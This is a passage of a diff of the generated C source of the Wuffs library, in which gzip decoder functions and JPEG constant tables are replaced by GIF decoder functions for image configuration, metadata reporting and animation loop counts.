WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if ( ! self->private_impl.f_seen_header) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_gif__decoder__decode_header(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_gif__decoder__decode_lsd(self, a_src); ++ if (status.repr) { ++ goto suspend; ++ } ++ self->private_impl.f_seen_header = true; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); ++ if (status.repr) { ++ goto suspend; + } +- } +- +- { +- wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( +- &self->private_data.f_checksum, sizeof(self->private_data.f_checksum), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ v_ffio = ! self->private_impl.f_gc_has_transparent_index; ++ if ( ! self->private_impl.f_quirks[2u]) { ++ v_ffio = (v_ffio && ++ (self->private_impl.f_frame_rect_x0 == 0u) && ++ (self->private_impl.f_frame_rect_y0 == 0u) && ++ (self->private_impl.f_frame_rect_x1 == self->private_impl.f_width) && ++ (self->private_impl.f_frame_rect_y1 == self->private_impl.f_height)); ++ } else if (v_ffio) { ++ self->private_impl.f_black_color_u32_argb_premul = 4278190080u; + } +- } +- { +- wuffs_base__status z = wuffs_deflate__decoder__initialize( +- &self->private_data.f_flate, sizeof(self->private_data.f_flate), WUFFS_VERSION, options); +- if (z.repr) { +- return z; ++ if (self->private_impl.f_background_color_u32_argb_premul == 77u) { ++ self->private_impl.f_background_color_u32_argb_premul = self->private_impl.f_black_color_u32_argb_premul; ++ } ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ 2198077448u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_frame_config_io_position, ++ v_ffio); ++ } ++ if (self->private_impl.f_call_sequence == 0u) { ++ self->private_impl.f_call_sequence = 32u; + } +- } +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_gzip__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); +-} + +-wuffs_gzip__decoder* +-wuffs_gzip__decoder__alloc(void) { +- wuffs_gzip__decoder* x = +- (wuffs_gzip__decoder*)(calloc(sizeof(wuffs_gzip__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_gzip__decoder__initialize( +- x, sizeof(wuffs_gzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; ++ goto ok; ++ ok: ++ self->private_impl.p_do_decode_image_config = 0; ++ goto exit; + } +- return x; +-} +- +-size_t +-sizeof__wuffs_gzip__decoder(void) { +- return sizeof(wuffs_gzip__decoder); +-} + +-// ---------------- Function Implementations +- +-// -------- func gzip.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__get_quirk( +- const wuffs_gzip__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + +- if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { +- return 1u; +- } +- return 0u; ++ goto exit; ++ exit: ++ return status; + } + +-// -------- func gzip.decoder.set_quirk ++// -------- func gif.decoder.set_report_metadata + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gzip__decoder__set_quirk( +- wuffs_gzip__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_gif__decoder__set_report_metadata( ++ wuffs_gif__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report) { + if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ return wuffs_base__make_empty_struct(); + } + if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- +- if (a_key == 1u) { +- self->private_impl.f_ignore_checksum = (a_value > 0u); +- return wuffs_base__make_status(NULL); +- } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); +-} +- +-// -------- func gzip.decoder.history_retain_length +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gzip__decoder__history_retain_length( +- const wuffs_gzip__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ return wuffs_base__make_empty_struct(); + } + +- return 0u; +-} +- +-// -------- func gzip.decoder.workbuf_len +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_gzip__decoder__workbuf_len( +- const wuffs_gzip__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ if (a_fourcc == 1229144912u) { ++ self->private_impl.f_report_metadata_iccp = a_report; ++ } else if (a_fourcc == 1481461792u) { ++ self->private_impl.f_report_metadata_xmp = a_report; + } +- +- return wuffs_base__utility__make_range_ii_u64(1u, 1u); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func gzip.decoder.transform_io ++// -------- func gif.decoder.tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_gzip__decoder__transform_io( +- wuffs_gzip__decoder* self, ++wuffs_gif__decoder__tell_me_more( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + if (!self) { + return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +@@ -39737,7 +41163,7 @@ wuffs_gzip__decoder__transform_io( + return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { ++ (self->private_impl.active_coroutine != 2)) { + self->private_impl.magic = WUFFS_BASE__DISABLED; + return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); + } +@@ -39746,17 +41172,17 @@ wuffs_gzip__decoder__transform_io( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; ++ uint32_t coro_susp_point = self->private_impl.p_tell_me_more; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + + while (true) { + { +- wuffs_base__status t_0 = wuffs_gzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ wuffs_base__status t_0 = wuffs_gif__decoder__do_tell_me_more(self, a_dst, a_minfo, a_src); + v_status = t_0; + } + if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_gzip__error__truncated_input); ++ status = wuffs_base__make_status(wuffs_gif__error__truncated_input); + goto exit; + } + status = v_status; +@@ -39764,14 +41190,14 @@ wuffs_gzip__decoder__transform_io( + } + + ok: +- self->private_impl.p_transform_io[0] = 0; ++ self->private_impl.p_tell_me_more = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; + + goto exit; + exit: +@@ -39781,40 +41207,19 @@ wuffs_gzip__decoder__transform_io( + return status; + } + +-// -------- func gzip.decoder.do_transform_io ++// -------- func gif.decoder.do_tell_me_more + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gzip__decoder__do_transform_io( +- wuffs_gzip__decoder* self, ++wuffs_gif__decoder__do_tell_me_more( ++ wuffs_gif__decoder* self, + wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint8_t v_flags = 0; +- uint16_t v_xlen = 0; +- uint64_t v_mark = 0; +- uint32_t v_checksum_got = 0; +- uint32_t v_decoded_length_got = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint32_t v_checksum_want = 0; +- uint32_t v_decoded_length_want = 0; ++ uint64_t v_chunk_length = 0; + +- uint8_t* iop_a_dst = NULL; +- uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_dst && a_dst->data.ptr) { +- io0_a_dst = a_dst->data.ptr; +- io1_a_dst = io0_a_dst + a_dst->meta.wi; +- iop_a_dst = io1_a_dst; +- io2_a_dst = io0_a_dst + a_dst->data.len; +- if (a_dst->meta.closed) { +- io2_a_dst = iop_a_dst; +- } +- } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -39826,269 +41231,95 @@ wuffs_gzip__decoder__do_transform_io( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_transform_io[0]; +- if (coro_susp_point) { +- v_flags = self->private_data.s_do_transform_io[0].v_flags; +- v_checksum_got = self->private_data.s_do_transform_io[0].v_checksum_got; +- v_decoded_length_got = self->private_data.s_do_transform_io[0].v_decoded_length_got; +- v_checksum_want = self->private_data.s_do_transform_io[0].v_checksum_want; +- } ++ uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; +- } +- if (v_c != 31u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; +- } +- if (v_c != 139u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_header); ++ if (((uint8_t)(self->private_impl.f_call_sequence & 16u)) == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; +- } +- if (v_c != 8u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_compression_method); ++ if (self->private_impl.f_metadata_fourcc == 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__no_more_information); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_flags = t_3; +- } +- self->private_data.s_do_transform_io[0].scratch = 6u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- if ((v_flags & 4u) != 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- uint16_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 8) { +- t_4 = ((uint16_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- v_xlen = t_4; +- } +- self->private_data.s_do_transform_io[0].scratch = ((uint32_t)(v_xlen)); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- } +- if ((v_flags & 8u) != 0u) { ++ while (true) { + while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 2u, ++ 0u, ++ self->private_impl.f_metadata_io_position, ++ 0u, ++ 0u); + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (v_c == 0u) { +- break; ++ status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ continue; + } +- } +- } +- if ((v_flags & 16u) != 0u) { +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 0u, ++ 0u, ++ 0u, ++ 0u, ++ 0u); + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c == 0u) { +- break; +- } +- } +- } +- if ((v_flags & 2u) != 0u) { +- self->private_data.s_do_transform_io[0].scratch = 2u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- if (self->private_data.s_do_transform_io[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_transform_io[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_transform_io[0].scratch; +- } +- if ((v_flags & 224u) != 0u) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_encoding_flags); +- goto exit; +- } +- while (true) { +- v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_7 = wuffs_deflate__decoder__transform_io(&self->private_data.f_flate, a_dst, a_src, a_workbuf); +- v_status = t_7; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ continue; + } ++ break; + } +- if ( ! self->private_impl.f_ignore_checksum) { +- v_checksum_got = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_checksum, wuffs_base__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); +- v_decoded_length_got += ((uint32_t)(wuffs_base__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst))))); +- } +- if (wuffs_base__status__is_ok(&v_status)) { ++ v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); ++ if (v_chunk_length <= 0u) { ++ iop_a_src += 1u; + break; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(12); +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint32_t t_8; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ if (self->private_impl.f_metadata_fourcc == 1481461792u) { ++ v_chunk_length += 1u; + } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; +- if (num_bits_8 == 24) { +- t_8 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_8 += 8u; +- *scratch |= ((uint64_t)(num_bits_8)) << 56; +- } ++ iop_a_src += 1u; + } +- v_checksum_want = t_8; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- uint32_t t_9; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_9 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_transform_io[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; +- uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; +- if (num_bits_9 == 24) { +- t_9 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_9 += 8u; +- *scratch |= ((uint64_t)(num_bits_9)) << 56; +- } ++ self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 3u, ++ self->private_impl.f_metadata_fourcc, ++ 0u, ++ wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), ++ self->private_impl.f_metadata_io_position); + } +- v_decoded_length_want = t_9; ++ status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); + } +- if ( ! self->private_impl.f_ignore_checksum && ((v_checksum_got != v_checksum_want) || (v_decoded_length_got != v_decoded_length_want))) { +- status = wuffs_base__make_status(wuffs_gzip__error__bad_checksum); +- goto exit; ++ if (a_minfo != NULL) { ++ wuffs_base__more_information__set(a_minfo, ++ 3u, ++ self->private_impl.f_metadata_fourcc, ++ 0u, ++ self->private_impl.f_metadata_io_position, ++ self->private_impl.f_metadata_io_position); + } ++ self->private_impl.f_call_sequence &= 239u; ++ self->private_impl.f_metadata_fourcc = 0u; ++ self->private_impl.f_metadata_io_position = 0u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + + ok: +- self->private_impl.p_do_transform_io[0] = 0; ++ self->private_impl.p_do_tell_me_more = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_transform_io[0].v_flags = v_flags; +- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; +- self->private_data.s_do_transform_io[0].v_decoded_length_got = v_decoded_length_got; +- self->private_data.s_do_transform_io[0].v_checksum_want = v_checksum_want; ++ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -40096,2260 +41327,1143 @@ wuffs_gzip__decoder__do_transform_io( + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GZIP) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) ++// -------- func gif.decoder.num_animation_loops + +-// ---------------- Status Codes Implementations ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_gif__decoder__num_animation_loops( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-const char wuffs_jpeg__error__bad_dht_marker[] = "#jpeg: bad DHT marker"; +-const char wuffs_jpeg__error__bad_dqt_marker[] = "#jpeg: bad DQT marker"; +-const char wuffs_jpeg__error__bad_dri_marker[] = "#jpeg: bad DRI marker"; +-const char wuffs_jpeg__error__bad_sof_marker[] = "#jpeg: bad SOF marker"; +-const char wuffs_jpeg__error__bad_sos_marker[] = "#jpeg: bad SOS marker"; +-const char wuffs_jpeg__error__bad_header[] = "#jpeg: bad header"; +-const char wuffs_jpeg__error__bad_marker[] = "#jpeg: bad marker"; +-const char wuffs_jpeg__error__missing_huffman_table[] = "#jpeg: missing Huffman table"; +-const char wuffs_jpeg__error__missing_quantization_table[] = "#jpeg: missing Quantization table"; +-const char wuffs_jpeg__error__truncated_input[] = "#jpeg: truncated input"; +-const char wuffs_jpeg__error__unsupported_arithmetic_coding[] = "#jpeg: unsupported arithmetic coding"; +-const char wuffs_jpeg__error__unsupported_color_model[] = "#jpeg: unsupported color model"; +-const char wuffs_jpeg__error__unsupported_fractional_sampling[] = "#jpeg: unsupported fractional sampling"; +-const char wuffs_jpeg__error__unsupported_hierarchical_coding[] = "#jpeg: unsupported hierarchical coding"; +-const char wuffs_jpeg__error__unsupported_implicit_height[] = "#jpeg: unsupported implicit height"; +-const char wuffs_jpeg__error__unsupported_lossless_coding[] = "#jpeg: unsupported lossless coding"; +-const char wuffs_jpeg__error__unsupported_marker[] = "#jpeg: unsupported marker"; +-const char wuffs_jpeg__error__unsupported_precision_12_bits[] = "#jpeg: unsupported precision (12 bits)"; +-const char wuffs_jpeg__error__unsupported_precision_16_bits[] = "#jpeg: unsupported precision (16 bits)"; +-const char wuffs_jpeg__error__unsupported_precision[] = "#jpeg: unsupported precision"; +-const char wuffs_jpeg__error__unsupported_scan_count[] = "#jpeg: unsupported scan count"; +-const char wuffs_jpeg__error__internal_error_inconsistent_decoder_state[] = "#jpeg: internal error: inconsistent decoder state"; ++ if (self->private_impl.f_seen_num_animation_loops_value) { ++ return self->private_impl.f_num_animation_loops_value; ++ } ++ if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { ++ return 1u; ++ } ++ return 0u; ++} + +-// ---------------- Private Consts ++// -------- func gif.decoder.num_decoded_frame_configs + +-static const uint8_t +-WUFFS_JPEG__UNZIG[80] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 1, 8, 16, 9, 2, 3, +- 10, 17, 24, 32, 25, 18, 11, 4, +- 5, 12, 19, 26, 33, 40, 48, 41, +- 34, 27, 20, 13, 6, 7, 14, 21, +- 28, 35, 42, 49, 56, 57, 50, 43, +- 36, 29, 22, 15, 23, 30, 37, 44, +- 51, 58, 59, 52, 45, 38, 31, 39, +- 46, 53, 60, 61, 54, 47, 55, 62, +- 63, 63, 63, 63, 63, 63, 63, 63, +- 63, 63, 63, 63, 63, 63, 63, 63, +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_gif__decoder__num_decoded_frame_configs( ++ const wuffs_gif__decoder* self) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } + +-static const uint8_t +-WUFFS_JPEG__BIAS_AND_CLAMP[1024] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 138, 139, 140, 141, 142, 143, +- 144, 145, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 155, 156, 157, 158, 159, +- 160, 161, 162, 163, 164, 165, 166, 167, +- 168, 169, 170, 171, 172, 173, 174, 175, +- 176, 177, 178, 179, 180, 181, 182, 183, +- 184, 185, 186, 187, 188, 189, 190, 191, +- 192, 193, 194, 195, 196, 197, 198, 199, +- 200, 201, 202, 203, 204, 205, 206, 207, +- 208, 209, 210, 211, 212, 213, 214, 215, +- 216, 217, 218, 219, 220, 221, 222, 223, +- 224, 225, 226, 227, 228, 229, 230, 231, +- 232, 233, 234, 235, 236, 237, 238, 239, +- 240, 241, 242, 243, 244, 245, 246, 247, +- 248, 249, 250, 251, 252, 253, 254, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 255, 255, 255, 255, 255, 255, +- 255, 255, 